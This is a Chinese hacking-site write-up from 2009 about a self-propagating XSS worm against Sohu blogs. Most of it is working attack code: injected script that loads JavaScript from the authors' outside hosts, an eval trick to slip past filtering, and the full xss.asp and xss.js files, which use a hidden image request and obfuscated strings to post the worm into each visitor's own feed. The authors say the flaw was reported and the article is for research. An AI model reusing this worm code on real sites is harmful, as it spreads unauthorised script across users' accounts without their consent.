首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
搜狐博客蠕虫
来源:http://www.0x201.cn/ 作者:Demon 发布时间:2009-07-30  
作者:Demon[S.C.T] & Moyo[S.C.T]

来源:http://www.0x201.cn/  Moyo’s blog
      Http://www.hackdemon.cn/  Demon’s blog

前言:此漏洞已经上报给搜狐工作人员,此文章作为研究使用。最后感谢Moyo大哥技术的大力支持。

                              一. 羁绊
    前天在挖掘搜狐博客xss漏洞时候发现在最新动态模块里面未作仍和过滤,导致xss产生,但是说来也奇怪,为什么这么明显的地方却没有做任何过滤呢?实际上我们刚开始想他利用起来也比较麻烦,我们先直接输入<script>alert(/xss/);</script> 是能够有效果的,如图:

Click Here To EnLarge

但是我在测试时候发现不能引入外部JS。当时我确实不知道问题出在哪里,后来我输入了iframe ,发现下面出现元素未闭合的现象,且框架内的网站显示not found ,后来才发现,原来系统把SRC替换成了< a href ,无论SRC编码还是换大小写都没用,有够奇怪的,想了很久,终于想出个能有引入外部JS的办法。也许是运气好,Moyo想出了在博客的副标题上填入的文字将写入一个ID为blogDesc的 DIV元素内,这样我们就能引入外部JS了,我们先在副标题上填入:
document.getElementsByTagName('script')[0].setAttribute('src','http://www.safe-code.net/xss.js');
则源代码所显示为:
<div id="blogDesc">document.getElementsByTagName('script')[0].setAttribute('src','http://www.safe-code.net/xss.js');</div>
  </div>
是插入了一个DIV元素内, 下面我们就在一句话博客中(xss处)输入:
<script>eval(document.getElementById('blogDesc').innerHTML);</script>
执行DIV元素内的语句就能够执行外部JS的JavaScript了。结果如图:

Click Here To EnLarge

可是这样一来,写xss蠕虫要利用就显得非常难了。 经过我和Moyo大哥一天的讨论,终于Moyo大哥使出了浑身绝技,最后不用这样的办法来引入js也能达到传染的效果,意思就是说不用引入js,我们直接把数据提交给一个asp文件即可,这样副标题处也不用修改了。

         
                              二. 攻破
  我们在母体(也就是我们的博客)副标题出写入:document.getElementsByTagName('script') [0].setAttribute('src',' http://www.0x201.cn/moyo/xss.asp');然后在执行此语句,在最新动态模块处写入:
<script>eval(document.getElementById('blogDesc').innerHTML);</script>
这样就引入了一个asp文件,我们看看xss.asp代码:
--------------------------
//xss.asp
<% @Language = 'Javascript' %>
<%
    if (Request.Cookies('is_xss_ed') != '')
    {
        Response.Redirect('xss2.js?'+(new Date()).getTime());
    }
    Response.Cookies('is_xss_ed') = 'ye';
    if (!Application('xss_views'))
    {
        Application('xss_views') = 0;
    }
    Application('xss_views') += 1;
    Response.Redirect('xss.js?'+(new Date()).getTime());
%>
如果cookie变量 is_xss_ed为空,就重定向为了xss2.js 、xss2.js的代码为:
window.onerror = function()
{
    return true;
}

document.getElementById('blogDesc').innerHTML = ' ~ Moyo , Demon 到此一游 ~ ~';

这就是个改副标题的代码,纯属恶作剧。 后面设置了个cookie变量,来防止感染者重新被感染,而后写进了一个xss_views.asp文件,是一个记录xss次数的文件,最后一句重定向为了xss.js文件,这个是感染文件,我们看下代码:

-------------
//xss.js
window.onerror = function()
{
    return true;
}

document.getElementById('blogDesc').innerHTML = ' ~ Moyo , Demon 到此一游 ~ ~';

var moyo_str = '<script>document.getElementsByTagName(\'script\')[0].setAttribute(\'s\'+\'rc\',\'ht\'+\'tp://ww\'+\'w.0x201.cn/moyo/xss.asp\');</script>';
function moyo_write()
{
    var img = document.createElement('img');
    img.setAttribute('src', 'http://mnf.blog.sohu.com/post?type=add&vn='+(new Date()).getTime()+'&xpp='+getXP()+'&content='+encodeURIComponent(moyo_str));
    img.style.display = 'none';
    document.body.appendChild(img);
}
moyo_write();

前面的就不说了,关键看moyo_write()函数,感染者浏览后执行xss.js内容,而函数就是创建一个img元素,通过设置src目标来修改被感染者的最新动态的内容,而最新动态的添加方式比较变态- -||  后来研究发现vn和xpp这两个变量是通过系统的函数定义的,我们找到了函数,即:vn='+(new Date()).getTime()+'&xpp='+getXP()+'&content='+encodeURIComponent(moyo_str))

moyo_str就是添加动态的内容了,是个连接asp的文件,而后被感染者也成为感染者,至此蠕虫就诞生了,蹬蹬蹬蹬~~.
  文章写的有点乱,涉及到了3个文件,大家请脑子有点昏的理清下头脑,呵呵、最后感谢各位看官观看。。Demon和Moyo在此谢谢各位。

  测试地址:http://xssmoyo.blog.sohu.com/
            http://demonxss.blog.sohu.com/
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·在Solaris系统中的sniffer攻击实
·*nux如何创建后门
·我在qqmail上放了*个后门
·xss简单渗透测试
·Developing A PHP Core Backdoor
·一次曲折入侵拿源代码过程(3)
·一次曲折入侵拿源代码过程(2)
·一次曲折入侵拿源代码过程(1)
·迅雷提权
·oracle注入某市交通局
·渗透中国联通
·黑客渗透linux下载备份取shell
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved